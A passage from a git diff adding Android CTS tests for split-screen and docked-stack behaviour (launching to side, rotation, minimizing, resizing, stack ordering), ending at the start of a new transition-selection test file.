+ }
+
+ @Test
+ @Presubmit
+ public void testNonResizeableNotDocked() throws Exception {
+ if (!supportsSplitScreenMultiWindow()) {
+ log("Skipping test: no split multi-window support");
+ return;
+ }
+
+ launchActivityInDockStack(NON_RESIZEABLE_ACTIVITY_NAME);
+ mAmWmState.computeState(new String[] {NON_RESIZEABLE_ACTIVITY_NAME});
+
+ mAmWmState.assertContainsStack("Must contain home stack.",
+ WINDOWING_MODE_UNDEFINED, ACTIVITY_TYPE_HOME);
+ mAmWmState.assertDoesNotContainStack("Must not contain docked stack.",
+ WINDOWING_MODE_SPLIT_SCREEN_PRIMARY, ACTIVITY_TYPE_STANDARD);
+ mAmWmState.assertFrontStack("Fullscreen stack must be front stack.",
+ WINDOWING_MODE_FULLSCREEN, ACTIVITY_TYPE_STANDARD);
+ }
+
+ @Test
+ @Presubmit
+ public void testLaunchToSide() throws Exception {
+ if (!supportsSplitScreenMultiWindow()) {
+ log("Skipping test: no split multi-window support");
+ return;
+ }
+
+ launchActivityInDockStack(LAUNCHING_ACTIVITY);
+ mAmWmState.computeState(new String[] {LAUNCHING_ACTIVITY});
+ getLaunchActivityBuilder().setToSide(true).execute();
+ mAmWmState.computeState(new String[] {TEST_ACTIVITY_NAME});
+ mAmWmState.assertContainsStack("Must contain fullscreen stack.",
+ WINDOWING_MODE_SPLIT_SCREEN_SECONDARY, ACTIVITY_TYPE_STANDARD);
+ mAmWmState.assertContainsStack("Must contain docked stack.",
+ WINDOWING_MODE_SPLIT_SCREEN_PRIMARY, ACTIVITY_TYPE_STANDARD);
+ }
+
+ @Test
+ @Presubmit
+ public void testLaunchToSideMultiWindowCallbacks() throws Exception {
+ if (!supportsSplitScreenMultiWindow()) {
+ log("Skipping test: no split multi-window support");
+ return;
+ }
+
+ // Launch two activities, one docked, one adjacent
+ launchActivityInDockStack(LAUNCHING_ACTIVITY);
+ getLaunchActivityBuilder()
+ .setToSide(true)
+ .setWaitForLaunched(true)
+ .execute();
+ mAmWmState.assertContainsStack("Must contain fullscreen stack.",
+ WINDOWING_MODE_SPLIT_SCREEN_SECONDARY, ACTIVITY_TYPE_STANDARD);
+ mAmWmState.assertContainsStack("Must contain docked stack.",
+ WINDOWING_MODE_SPLIT_SCREEN_PRIMARY, ACTIVITY_TYPE_STANDARD);
+
+ // Exit split-screen mode and ensure we only get 1 multi-window mode changed callback.
+ final String logSeparator = clearLogcat();
+ removeStacksInWindowingModes(WINDOWING_MODE_SPLIT_SCREEN_PRIMARY);
+ final ActivityLifecycleCounts lifecycleCounts = waitForOnMultiWindowModeChanged(
+ TEST_ACTIVITY_NAME, logSeparator);
+ assertEquals(1, lifecycleCounts.mMultiWindowModeChangedCount);
+ }
+
+ @Test
+ @Presubmit
+ public void testNoUserLeaveHintOnMultiWindowModeChanged() throws Exception {
+ if (!supportsSplitScreenMultiWindow()) {
+ log("Skipping test: no multi-window support");
+ return;
+ }
+
+ launchActivity(TEST_ACTIVITY_NAME, WINDOWING_MODE_FULLSCREEN);
+
+ // Move to docked stack.
+ String logSeparator = clearLogcat();
+ setActivityTaskWindowingMode(TEST_ACTIVITY_NAME, WINDOWING_MODE_SPLIT_SCREEN_PRIMARY);
+ ActivityLifecycleCounts lifecycleCounts = waitForOnMultiWindowModeChanged(
+ TEST_ACTIVITY_NAME, logSeparator);
+ assertEquals("mMultiWindowModeChangedCount",
+ 1, lifecycleCounts.mMultiWindowModeChangedCount);
+ assertEquals("mUserLeaveHintCount", 0, lifecycleCounts.mUserLeaveHintCount);
+
+ // Make sure docked stack is focused. This way when we dismiss it later fullscreen stack
+ // will come up.
+ launchActivity(TEST_ACTIVITY_NAME, WINDOWING_MODE_SPLIT_SCREEN_PRIMARY);
+
+ // Move activity back to fullscreen stack.
+ logSeparator = clearLogcat();
+ setActivityTaskWindowingMode(TEST_ACTIVITY_NAME, WINDOWING_MODE_FULLSCREEN);
+ lifecycleCounts = waitForOnMultiWindowModeChanged(TEST_ACTIVITY_NAME, logSeparator);
+ assertEquals("mMultiWindowModeChangedCount",
+ 1, lifecycleCounts.mMultiWindowModeChangedCount);
+ assertEquals("mUserLeaveHintCount", 0, lifecycleCounts.mUserLeaveHintCount);
+ }
+
+ @Test
+ @Presubmit
+ public void testLaunchToSideAndBringToFront() throws Exception {
+ if (!supportsSplitScreenMultiWindow()) {
+ log("Skipping test: no split multi-window support");
+ return;
+ }
+
+ launchActivityInDockStack(LAUNCHING_ACTIVITY);
+ final String[] waitForFirstVisible = new String[] {TEST_ACTIVITY_NAME};
+ final String[] waitForSecondVisible = new String[] {NO_RELAUNCH_ACTIVITY_NAME};
+
+ // Launch activity to side.
+ getLaunchActivityBuilder().setToSide(true).execute();
+ mAmWmState.computeState(waitForFirstVisible);
+ int taskNumberInitial = mAmWmState.getAmState().getStandardTaskCountByWindowingMode(
+ WINDOWING_MODE_SPLIT_SCREEN_SECONDARY);
+ mAmWmState.assertFocusedActivity("Launched to side activity must be in front.",
+ TEST_ACTIVITY_NAME);
+
+ // Launch another activity to side to cover first one.
+ launchActivity(
+ NO_RELAUNCH_ACTIVITY_NAME, WINDOWING_MODE_FULLSCREEN_OR_SPLIT_SCREEN_SECONDARY);
+ mAmWmState.computeState(waitForSecondVisible);
+ int taskNumberCovered = mAmWmState.getAmState().getStandardTaskCountByWindowingMode(
+ WINDOWING_MODE_SPLIT_SCREEN_SECONDARY);
+ assertEquals("Fullscreen stack must have one task added.",
+ taskNumberInitial + 1, taskNumberCovered);
+ mAmWmState.assertFocusedActivity("Launched to side covering activity must be in front.",
+ NO_RELAUNCH_ACTIVITY_NAME);
+
+ // Launch activity that was first launched to side. It should be brought to front.
+ getLaunchActivityBuilder().setToSide(true).execute();
+ mAmWmState.computeState(waitForFirstVisible);
+ int taskNumberFinal = mAmWmState.getAmState().getStandardTaskCountByWindowingMode(
+ WINDOWING_MODE_SPLIT_SCREEN_SECONDARY);
+ assertEquals("Task number in fullscreen stack must remain the same.",
+ taskNumberCovered, taskNumberFinal);
+ mAmWmState.assertFocusedActivity("Launched to side covering activity must be in front.",
+ TEST_ACTIVITY_NAME);
+ }
+
+ @Test
+ @Presubmit
+ public void testLaunchToSideMultiple() throws Exception {
+ if (!supportsSplitScreenMultiWindow()) {
+ log("Skipping test: no split multi-window support");
+ return;
+ }
+
+ launchActivityInDockStack(LAUNCHING_ACTIVITY);
+ mAmWmState.computeState(new String[] {LAUNCHING_ACTIVITY});
+ final String[] waitForActivitiesVisible =
+ new String[] {TEST_ACTIVITY_NAME, LAUNCHING_ACTIVITY};
+
+ // Launch activity to side.
+ getLaunchActivityBuilder().setToSide(true).execute();
+ mAmWmState.computeState(waitForActivitiesVisible);
+ int taskNumberInitial = mAmWmState.getAmState().getStandardTaskCountByWindowingMode(
+ WINDOWING_MODE_SPLIT_SCREEN_SECONDARY);
+ assertNotNull("Launched to side activity must be in fullscreen stack.",
+ mAmWmState.getAmState().getTaskByActivityName(
+ TEST_ACTIVITY_NAME, WINDOWING_MODE_SPLIT_SCREEN_SECONDARY));
+
+ // Try to launch to side same activity again.
+ getLaunchActivityBuilder().setToSide(true).execute();
+ mAmWmState.computeState(waitForActivitiesVisible);
+ int taskNumberFinal = mAmWmState.getAmState().getStandardTaskCountByWindowingMode(
+ WINDOWING_MODE_SPLIT_SCREEN_SECONDARY);
+ assertEquals("Task number mustn't change.", taskNumberInitial, taskNumberFinal);
+ mAmWmState.assertFocusedActivity("Launched to side activity must remain in front.",
+ TEST_ACTIVITY_NAME);
+ assertNotNull("Launched to side activity must remain in fullscreen stack.",
+ mAmWmState.getAmState().getTaskByActivityName(
+ TEST_ACTIVITY_NAME, WINDOWING_MODE_SPLIT_SCREEN_SECONDARY));
+ }
+
+ @Test
+ @Presubmit
+ public void testLaunchToSideSingleInstance() throws Exception {
+ launchTargetToSide(SINGLE_INSTANCE_ACTIVITY_NAME, false);
+ }
+
+ @Test
+ public void testLaunchToSideSingleTask() throws Exception {
+ launchTargetToSide(SINGLE_TASK_ACTIVITY_NAME, false);
+ }
+
+
+ @Presubmit
+ @Test
+ public void testLaunchToSideMultipleWithDifferentIntent() throws Exception {
+ launchTargetToSide(TEST_ACTIVITY_NAME, true);
+ }
+
+ private void launchTargetToSide(String targetActivityName,
+ boolean taskCountMustIncrement) throws Exception {
+ if (!supportsSplitScreenMultiWindow()) {
+ log("Skipping test: no split multi-window support");
+ return;
+ }
+
+ launchActivityInDockStack(LAUNCHING_ACTIVITY);
+ mAmWmState.computeState(new WaitForValidActivityState.Builder(LAUNCHING_ACTIVITY).build());
+
+ final WaitForValidActivityState[] waitForActivitiesVisible =
+ new WaitForValidActivityState[] {
+ new WaitForValidActivityState.Builder(targetActivityName).build(),
+ new WaitForValidActivityState.Builder(LAUNCHING_ACTIVITY).build()
+ };
+
+ // Launch activity to side with data.
+ launchActivityToSide(true, false, targetActivityName);
+ mAmWmState.computeState(waitForActivitiesVisible);
+ mAmWmState.assertContainsStack("Must contain fullscreen stack.",
+ WINDOWING_MODE_SPLIT_SCREEN_SECONDARY, ACTIVITY_TYPE_STANDARD);
+ int taskNumberInitial = mAmWmState.getAmState().getStandardTaskCountByWindowingMode(
+ WINDOWING_MODE_SPLIT_SCREEN_SECONDARY);
+ assertNotNull("Launched to side activity must be in fullscreen stack.",
+ mAmWmState.getAmState().getTaskByActivityName(
+ targetActivityName, WINDOWING_MODE_SPLIT_SCREEN_SECONDARY));
+
+ // Try to launch to side same activity again with different data.
+ launchActivityToSide(true, false, targetActivityName);
+ mAmWmState.computeState(waitForActivitiesVisible);
+ int taskNumberSecondLaunch = mAmWmState.getAmState().getStandardTaskCountByWindowingMode(
+ WINDOWING_MODE_SPLIT_SCREEN_SECONDARY);
+ if (taskCountMustIncrement) {
+ assertEquals("Task number must be incremented.", taskNumberInitial + 1,
+ taskNumberSecondLaunch);
+ } else {
+ assertEquals("Task number must not change.", taskNumberInitial,
+ taskNumberSecondLaunch);
+ }
+ mAmWmState.assertFocusedActivity("Launched to side activity must be in front.",
+ targetActivityName);
+ assertNotNull("Launched to side activity must be launched in fullscreen stack.",
+ mAmWmState.getAmState().getTaskByActivityName(
+ targetActivityName, WINDOWING_MODE_SPLIT_SCREEN_SECONDARY));
+
+ // Try to launch to side same activity again with no data.
+ launchActivityToSide(false, false, targetActivityName);
+ mAmWmState.computeState(waitForActivitiesVisible);
+ int taskNumberFinal = mAmWmState.getAmState().getStandardTaskCountByWindowingMode(
+ WINDOWING_MODE_SPLIT_SCREEN_SECONDARY);
+ if (taskCountMustIncrement) {
+ assertEquals("Task number must be incremented.", taskNumberSecondLaunch + 1,
+ taskNumberFinal);
+ } else {
+ assertEquals("Task number must not change.", taskNumberSecondLaunch,
+ taskNumberFinal);
+ }
+ mAmWmState.assertFocusedActivity("Launched to side activity must be in front.",
+ targetActivityName);
+ assertNotNull("Launched to side activity must be launched in fullscreen stack.",
+ mAmWmState.getAmState().getTaskByActivityName(
+ targetActivityName, WINDOWING_MODE_SPLIT_SCREEN_SECONDARY));
+ }
+
+ @Presubmit
+ @Test
+ public void testLaunchToSideMultipleWithFlag() throws Exception {
+ if (!supportsSplitScreenMultiWindow()) {
+ log("Skipping test: no split multi-window support");
+ return;
+ }
+
+ launchActivityInDockStack(LAUNCHING_ACTIVITY);
+ mAmWmState.computeState(new WaitForValidActivityState.Builder(LAUNCHING_ACTIVITY).build());
+ final String[] waitForActivitiesVisible =
+ new String[] {LAUNCHING_ACTIVITY, TEST_ACTIVITY_NAME};
+
+ // Launch activity to side.
+ getLaunchActivityBuilder().setToSide(true).execute();
+ mAmWmState.computeState(waitForActivitiesVisible);
+ int taskNumberInitial = mAmWmState.getAmState().getStandardTaskCountByWindowingMode(
+ WINDOWING_MODE_SPLIT_SCREEN_SECONDARY);
+ assertNotNull("Launched to side activity must be in fullscreen stack.",
+ mAmWmState.getAmState().getTaskByActivityName(
+ TEST_ACTIVITY_NAME, WINDOWING_MODE_SPLIT_SCREEN_SECONDARY));
+
+ // Try to launch to side same activity again, but with Intent#FLAG_ACTIVITY_MULTIPLE_TASK.
+ getLaunchActivityBuilder().setToSide(true).setMultipleTask(true).execute();
+ mAmWmState.computeState(waitForActivitiesVisible);
+ int taskNumberFinal = mAmWmState.getAmState().getStandardTaskCountByWindowingMode(
+ WINDOWING_MODE_SPLIT_SCREEN_SECONDARY);
+ assertEquals("Task number must be incremented.", taskNumberInitial + 1,
+ taskNumberFinal);
+ mAmWmState.assertFocusedActivity("Launched to side activity must be in front.",
+ TEST_ACTIVITY_NAME);
+ assertNotNull("Launched to side activity must remain in fullscreen stack.",
+ mAmWmState.getAmState().getTaskByActivityName(
+ TEST_ACTIVITY_NAME, WINDOWING_MODE_SPLIT_SCREEN_SECONDARY));
+ }
+
+ @Test
+ public void testRotationWhenDocked() throws Exception {
+ if (!supportsSplitScreenMultiWindow()) {
+ log("Skipping test: no split multi-window support");
+ return;
+ }
+
+ launchActivityInDockStack(LAUNCHING_ACTIVITY);
+ mAmWmState.computeState(new WaitForValidActivityState.Builder(LAUNCHING_ACTIVITY).build());
+ getLaunchActivityBuilder().setToSide(true).execute();
+ mAmWmState.computeState(new WaitForValidActivityState.Builder(TEST_ACTIVITY_NAME).build());
+ mAmWmState.assertContainsStack("Must contain fullscreen stack.",
+ WINDOWING_MODE_SPLIT_SCREEN_SECONDARY, ACTIVITY_TYPE_STANDARD);
+ mAmWmState.assertContainsStack("Must contain docked stack.",
+ WINDOWING_MODE_SPLIT_SCREEN_PRIMARY, ACTIVITY_TYPE_STANDARD);
+
+ // Rotate device single steps (90°) 0-1-2-3.
+ // Each time we compute the state we implicitly assert valid bounds.
+ String[] waitForActivitiesVisible =
+ new String[] {LAUNCHING_ACTIVITY, TEST_ACTIVITY_NAME};
+ for (int i = 0; i < 4; i++) {
+ setDeviceRotation(i);
+ mAmWmState.computeState(waitForActivitiesVisible);
+ }
+ // Double steps (180°) We ended the single step at 3. So, we jump directly to 1 for double
+ // step. So, we are testing 3-1-3 for one side and 0-2-0 for the other side.
+ setDeviceRotation(1);
+ mAmWmState.computeState(waitForActivitiesVisible);
+ setDeviceRotation(3);
+ mAmWmState.computeState(waitForActivitiesVisible);
+ setDeviceRotation(0);
+ mAmWmState.computeState(waitForActivitiesVisible);
+ setDeviceRotation(2);
+ mAmWmState.computeState(waitForActivitiesVisible);
+ setDeviceRotation(0);
+ mAmWmState.computeState(waitForActivitiesVisible);
+ }
+
+ @Test
+ @Presubmit
+ public void testRotationWhenDockedWhileLocked() throws Exception {
+ if (!supportsSplitScreenMultiWindow()) {
+ log("Skipping test: no split multi-window support");
+ return;
+ }
+
+ launchActivityInDockStack(LAUNCHING_ACTIVITY);
+ mAmWmState.computeState(new WaitForValidActivityState.Builder(LAUNCHING_ACTIVITY).build());
+ getLaunchActivityBuilder().setToSide(true).execute();
+ mAmWmState.computeState(new WaitForValidActivityState.Builder(TEST_ACTIVITY_NAME).build());
+ mAmWmState.assertSanity();
+ mAmWmState.assertContainsStack("Must contain fullscreen stack.",
+ WINDOWING_MODE_SPLIT_SCREEN_SECONDARY, ACTIVITY_TYPE_STANDARD);
+ mAmWmState.assertContainsStack("Must contain docked stack.",
+ WINDOWING_MODE_SPLIT_SCREEN_PRIMARY, ACTIVITY_TYPE_STANDARD);
+
+ String[] waitForActivitiesVisible =
+ new String[] {LAUNCHING_ACTIVITY, TEST_ACTIVITY_NAME};
+ for (int i = 0; i < 4; i++) {
+ sleepDevice();
+ setDeviceRotation(i);
+ wakeUpAndUnlockDevice();
+ mAmWmState.computeState(waitForActivitiesVisible);
+ }
+ }
+
+ @Test
+ public void testMinimizedFromEachDockedSide() throws Exception {
+ if (!supportsSplitScreenMultiWindow()) {
+ log("Skipping test: no split multi-window support");
+ return;
+ }
+
+ for (int i = 0; i < 2; i++) {
+ setDeviceRotation(i);
+ launchActivityInDockStackAndMinimize(TEST_ACTIVITY_NAME);
+ if (!mAmWmState.isScreenPortrait() && isTablet()) {
+ // Test minimize to the right only on tablets in landscape
+ removeStacksWithActivityTypes(ALL_ACTIVITY_TYPE_BUT_HOME);
+ launchActivityInDockStackAndMinimize(TEST_ACTIVITY_NAME,
+ SPLIT_SCREEN_CREATE_MODE_BOTTOM_OR_RIGHT);
+ }
+ removeStacksWithActivityTypes(ALL_ACTIVITY_TYPE_BUT_HOME);
+ }
+ }
+
+ @Test
+ @Presubmit
+ public void testRotationWhileDockMinimized() throws Exception {
+ if (!supportsSplitScreenMultiWindow()) {
+ log("Skipping test: no split multi-window support");
+ return;
+ }
+
+ launchActivityInDockStackAndMinimize(TEST_ACTIVITY_NAME);
+
+ // Rotate device single steps (90°) 0-1-2-3.
+ // Each time we compute the state we implicitly assert valid bounds in minimized mode.
+ String[] waitForActivitiesVisible = new String[] {TEST_ACTIVITY_NAME};
+ for (int i = 0; i < 4; i++) {
+ setDeviceRotation(i);
+ mAmWmState.computeState(waitForActivitiesVisible);
+ }
+
+ // Double steps (180°) We ended the single step at 3. So, we jump directly to 1 for double
+ // step. So, we are testing 3-1-3 for one side and 0-2-0 for the other side in minimized
+ // mode.
+ setDeviceRotation(1);
+ mAmWmState.computeState(waitForActivitiesVisible);
+ setDeviceRotation(3);
+ mAmWmState.computeState(waitForActivitiesVisible);
+ setDeviceRotation(0);
+ mAmWmState.computeState(waitForActivitiesVisible);
+ setDeviceRotation(2);
+ mAmWmState.computeState(waitForActivitiesVisible);
+ setDeviceRotation(0);
+ mAmWmState.computeState(waitForActivitiesVisible);
+ }
+
+ @Test
+ public void testMinimizeAndUnminimizeThenGoingHome() throws Exception {
+ if (!supportsSplitScreenMultiWindow()) {
+ log("Skipping test: no split multi-window support");
+ return;
+ }
+
+ // Rotate the screen to check that minimize, unminimize, dismiss the docked stack and then
+ // going home has the correct app transition
+ for (int i = 0; i < 4; i++) {
+ setDeviceRotation(i);
+ launchActivityInDockStackAndMinimize(DOCKED_ACTIVITY_NAME);
+
+ // Unminimize the docked stack
+ pressAppSwitchButton();
+ waitForDockNotMinimized();
+ assertDockNotMinimized();
+
+ // Dismiss the dock stack
+ launchActivity(TEST_ACTIVITY_NAME, WINDOWING_MODE_FULLSCREEN_OR_SPLIT_SCREEN_SECONDARY);
+ setActivityTaskWindowingMode(DOCKED_ACTIVITY_NAME,
+ WINDOWING_MODE_FULLSCREEN_OR_SPLIT_SCREEN_SECONDARY);
+ mAmWmState.computeState(new String[]{DOCKED_ACTIVITY_NAME});
+
+ // Go home and check the app transition
+ assertNotSame(TRANSIT_WALLPAPER_OPEN, mAmWmState.getWmState().getLastTransition());
+ pressHomeButton();
+ mAmWmState.computeState();
+ assertEquals(TRANSIT_WALLPAPER_OPEN, mAmWmState.getWmState().getLastTransition());
+ }
+ }
+
+ @Test
+ @Presubmit
+ public void testFinishDockActivityWhileMinimized() throws Exception {
+ if (!supportsSplitScreenMultiWindow()) {
+ log("Skipping test: no split multi-window support");
+ return;
+ }
+
+ launchActivityInDockStackAndMinimize(TEST_ACTIVITY_NAME);
+
+ executeShellCommand("am broadcast -a " + TEST_ACTIVITY_ACTION_FINISH);
+ waitForDockNotMinimized();
+ mAmWmState.assertVisibility(TEST_ACTIVITY_NAME, false);
+ assertDockNotMinimized();
+ }
+
+ @Test
+ @Presubmit
+ public void testDockedStackToMinimizeWhenUnlocked() throws Exception {
+ if (!supportsSplitScreenMultiWindow()) {
+ log("Skipping test: no split multi-window support");
+ return;
+ }
+
+ launchActivityInDockStack(TEST_ACTIVITY_NAME);
+ pressAppSwitchButton();
+ mAmWmState.computeState(new WaitForValidActivityState.Builder(TEST_ACTIVITY_NAME).build());
+ sleepDevice();
+ wakeUpAndUnlockDevice();
+ mAmWmState.computeState(new WaitForValidActivityState.Builder(TEST_ACTIVITY_NAME).build());
+ assertDockMinimized();
+ }
+
+ @Test
+ public void testMinimizedStateWhenUnlockedAndUnMinimized() throws Exception {
+ if (!supportsSplitScreenMultiWindow()) {
+ log("Skipping test: no split multi-window support");
+ return;
+ }
+
+ launchActivityInDockStackAndMinimize(TEST_ACTIVITY_NAME);
+
+ sleepDevice();
+ wakeUpAndUnlockDevice();
+ mAmWmState.computeState(new WaitForValidActivityState.Builder(TEST_ACTIVITY_NAME).build());
+
+ // Unminimized back to splitscreen
+ pressAppSwitchButton();
+ mAmWmState.computeState(new WaitForValidActivityState.Builder(TEST_ACTIVITY_NAME).build());
+ }
+
+ @Test
+ @Presubmit
+ public void testResizeDockedStack() throws Exception {
+ if (!supportsSplitScreenMultiWindow()) {
+ log("Skipping test: no split multi-window support");
+ return;
+ }
+
+ launchActivityInDockStack(DOCKED_ACTIVITY_NAME);
+ mAmWmState.computeState(new WaitForValidActivityState.Builder(DOCKED_ACTIVITY_NAME).build());
+ launchActivity(TEST_ACTIVITY_NAME, WINDOWING_MODE_SPLIT_SCREEN_SECONDARY);
+ mAmWmState.computeState(new WaitForValidActivityState.Builder(TEST_ACTIVITY_NAME).build());
+ resizeDockedStack(STACK_SIZE, STACK_SIZE, TASK_SIZE, TASK_SIZE);
+ mAmWmState.computeState(false /* compareTaskAndStackBounds */,
+ new WaitForValidActivityState.Builder(TEST_ACTIVITY_NAME).build(),
+ new WaitForValidActivityState.Builder(DOCKED_ACTIVITY_NAME).build());
+ mAmWmState.assertContainsStack("Must contain fullscreen stack.",
+ WINDOWING_MODE_SPLIT_SCREEN_SECONDARY, ACTIVITY_TYPE_STANDARD);
+ mAmWmState.assertContainsStack("Must contain docked stack.",
+ WINDOWING_MODE_SPLIT_SCREEN_PRIMARY, ACTIVITY_TYPE_STANDARD);
+ assertEquals(new Rect(0, 0, STACK_SIZE, STACK_SIZE),
+ mAmWmState.getAmState().getStandardStackByWindowingMode(
+ WINDOWING_MODE_SPLIT_SCREEN_PRIMARY).getBounds());
+ mAmWmState.assertDockedTaskBounds(TASK_SIZE, TASK_SIZE, DOCKED_ACTIVITY_NAME);
+ mAmWmState.assertVisibility(DOCKED_ACTIVITY_NAME, true);
+ mAmWmState.assertVisibility(TEST_ACTIVITY_NAME, true);
+ }
+
+ @Test
+ public void testActivityLifeCycleOnResizeDockedStack() throws Exception {
+ if (!supportsSplitScreenMultiWindow()) {
+ log("Skipping test: no split multi-window support");
+ return;
+ }
+
+ final WaitForValidActivityState[] waitTestActivityName =
+ new WaitForValidActivityState[] {new WaitForValidActivityState.Builder(
+ TEST_ACTIVITY_NAME).build()};
+ launchActivity(TEST_ACTIVITY_NAME);
+ mAmWmState.computeState(waitTestActivityName);
+ final Rect fullScreenBounds = mAmWmState.getWmState().getStandardStackByWindowingMode(
+ WINDOWING_MODE_FULLSCREEN).getBounds();
+
+ setActivityTaskWindowingMode(TEST_ACTIVITY_NAME, WINDOWING_MODE_SPLIT_SCREEN_PRIMARY);
+ mAmWmState.computeState(waitTestActivityName);
+ launchActivity(NO_RELAUNCH_ACTIVITY_NAME,
+ WINDOWING_MODE_FULLSCREEN_OR_SPLIT_SCREEN_SECONDARY);
+
+ mAmWmState.computeState(new WaitForValidActivityState.Builder(TEST_ACTIVITY_NAME).build(),
+ new WaitForValidActivityState.Builder(NO_RELAUNCH_ACTIVITY_NAME).build());
+ final Rect initialDockBounds = mAmWmState.getWmState().getStandardStackByWindowingMode(
+ WINDOWING_MODE_SPLIT_SCREEN_PRIMARY) .getBounds();
+
+ final String logSeparator = clearLogcat();
+
+ Rect newBounds = computeNewDockBounds(fullScreenBounds, initialDockBounds, true);
+ resizeDockedStack(newBounds.width(), newBounds.height(), newBounds.width(), newBounds.height());
+ mAmWmState.computeState(new WaitForValidActivityState.Builder(TEST_ACTIVITY_NAME).build(),
+ new WaitForValidActivityState.Builder(NO_RELAUNCH_ACTIVITY_NAME).build());
+
+ // We resize twice to make sure we cross an orientation change threshold for both
+ // activities.
+ newBounds = computeNewDockBounds(fullScreenBounds, initialDockBounds, false);
+ resizeDockedStack(newBounds.width(), newBounds.height(), newBounds.width(), newBounds.height());
+ mAmWmState.computeState(new WaitForValidActivityState.Builder(TEST_ACTIVITY_NAME).build(),
+ new WaitForValidActivityState.Builder(NO_RELAUNCH_ACTIVITY_NAME).build());
+ assertActivityLifecycle(TEST_ACTIVITY_NAME, true /* relaunched */, logSeparator);
+ assertActivityLifecycle(NO_RELAUNCH_ACTIVITY_NAME, false /* relaunched */, logSeparator);
+ }
+
+ private Rect computeNewDockBounds(
+ Rect fullscreenBounds, Rect dockBounds, boolean reduceSize) {
+ final boolean inLandscape = fullscreenBounds.width() > dockBounds.width();
+ // We are either increasing size or reducing it.
+ final float sizeChangeFactor = reduceSize ? 0.5f : 1.5f;
+ final Rect newBounds = new Rect(dockBounds);
+ if (inLandscape) {
+ // In landscape we change the width.
+ newBounds.right = (int) (newBounds.left + (newBounds.width() * sizeChangeFactor));
+ } else {
+ // In portrait we change the height
+ newBounds.bottom = (int) (newBounds.top + (newBounds.height() * sizeChangeFactor));
+ }
+
+ return newBounds;
+ }
+
+ @Test
+ @Presubmit
+ public void testStackListOrderLaunchDockedActivity() throws Exception {
+ if (!supportsSplitScreenMultiWindow()) {
+ log("Skipping test: no split multi-window support");
+ return;
+ }
+
+ launchActivityInDockStack(TEST_ACTIVITY_NAME);
+ mAmWmState.computeState(new String[]{TEST_ACTIVITY_NAME});
+
+ final int homeStackIndex = mAmWmState.getStackIndexByActivityType(ACTIVITY_TYPE_HOME);
+ final int recentsStackIndex = mAmWmState.getStackIndexByActivityType(ACTIVITY_TYPE_RECENTS);
+ assertTrue("Recents stack should be on top of home stack",
+ recentsStackIndex < homeStackIndex);
+ }
+
+ @Test
+ @Presubmit
+ public void testStackListOrderOnSplitScreenDismissed() throws Exception {
+ if (!supportsSplitScreenMultiWindow()) {
+ log("Skipping test: no split multi-window support");
+ return;
+ }
+
+ launchActivityInDockStack(DOCKED_ACTIVITY_NAME);
+ mAmWmState.computeState(
+ new WaitForValidActivityState.Builder(DOCKED_ACTIVITY_NAME).build());
+ launchActivity(TEST_ACTIVITY_NAME, WINDOWING_MODE_SPLIT_SCREEN_SECONDARY);
+ mAmWmState.computeState(new WaitForValidActivityState.Builder(TEST_ACTIVITY_NAME).build());
+
+ setActivityTaskWindowingMode(DOCKED_ACTIVITY_NAME, WINDOWING_MODE_FULLSCREEN);
+ mAmWmState.computeState(new WaitForValidActivityState.Builder(
+ DOCKED_ACTIVITY_NAME).setWindowingMode(WINDOWING_MODE_FULLSCREEN).build());
+
+ final int homeStackIndex = mAmWmState.getStackIndexByActivityType(ACTIVITY_TYPE_HOME);
+ final int prevSplitScreenPrimaryIndex =
+ mAmWmState.getAmState().getStackIndexByActivityName(DOCKED_ACTIVITY_NAME);
+ final int prevSplitScreenSecondaryIndex =
+ mAmWmState.getAmState().getStackIndexByActivityName(TEST_ACTIVITY_NAME);
+
+ final int expectedHomeStackIndex =
+ (prevSplitScreenPrimaryIndex > prevSplitScreenSecondaryIndex
+ ? prevSplitScreenPrimaryIndex : prevSplitScreenSecondaryIndex) - 1;
+ assertTrue("Home stack needs to be directly behind the top stack",
+ expectedHomeStackIndex == homeStackIndex);
+ }
+
+ private void launchActivityInDockStackAndMinimize(String activityName) throws Exception {
+ launchActivityInDockStackAndMinimize(activityName, SPLIT_SCREEN_CREATE_MODE_TOP_OR_LEFT);
+ }
+
+ private void launchActivityInDockStackAndMinimize(String activityName, int createMode)
+ throws Exception {
+ launchActivityInDockStack(activityName, createMode);
+ pressHomeButton();
+ waitForAndAssertDockMinimized();
+ }
+
+ private void assertDockMinimized() {
+ assertTrue(mAmWmState.getWmState().isDockedStackMinimized());
+ }
+
+ private void waitForAndAssertDockMinimized() throws Exception {
+ waitForDockMinimized();
+ assertDockMinimized();
+ mAmWmState.computeState(new WaitForValidActivityState.Builder(TEST_ACTIVITY_NAME).build());
+ mAmWmState.assertContainsStack("Must contain docked stack.",
+ WINDOWING_MODE_SPLIT_SCREEN_PRIMARY, ACTIVITY_TYPE_STANDARD);
+ mAmWmState.assertFocusedStack("Home activity should be focused in minimized mode",
+ WINDOWING_MODE_UNDEFINED, ACTIVITY_TYPE_HOME);
+ }
+
+ private void assertDockNotMinimized() {
+ assertFalse(mAmWmState.getWmState().isDockedStackMinimized());
+ }
+
+ private void waitForDockMinimized() throws Exception {
+ mAmWmState.waitForWithWmState(state -> state.isDockedStackMinimized(),
+ "***Waiting for Dock stack to be minimized");
+ }
+
+ private void waitForDockNotMinimized() throws Exception {
+ mAmWmState.waitForWithWmState(state -> !state.isDockedStackMinimized(),
+ "***Waiting for Dock stack to not be minimized");
+ }
+}
diff --git a/tests/framework/base/activitymanager/src/android/server/am/ActivityManagerTransitionSelectionTests.java b/tests/framework/base/activitymanager/src/android/server/am/ActivityManagerTransitionSelectionTests.java
new file mode 100644
index 0000000..c608507
--- /dev/null
+++ b/tests/framework/base/activitymanager/src/android/server/am/ActivityManagerTransitionSelectionTests.java
@@ -0,0 +1,291 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.server.am;
+
+import static android.server.am.WindowManagerState.TRANSIT_ACTIVITY_CLOSE;
+import static android.server.am.WindowManagerState.TRANSIT_ACTIVITY_OPEN;
+import static android.server.am.WindowManagerState.TRANSIT_TASK_CLOSE;
+import static android.server.am.WindowManagerState.TRANSIT_TASK_OPEN;
+import static android.server.am.WindowManagerState.TRANSIT_WALLPAPER_CLOSE;
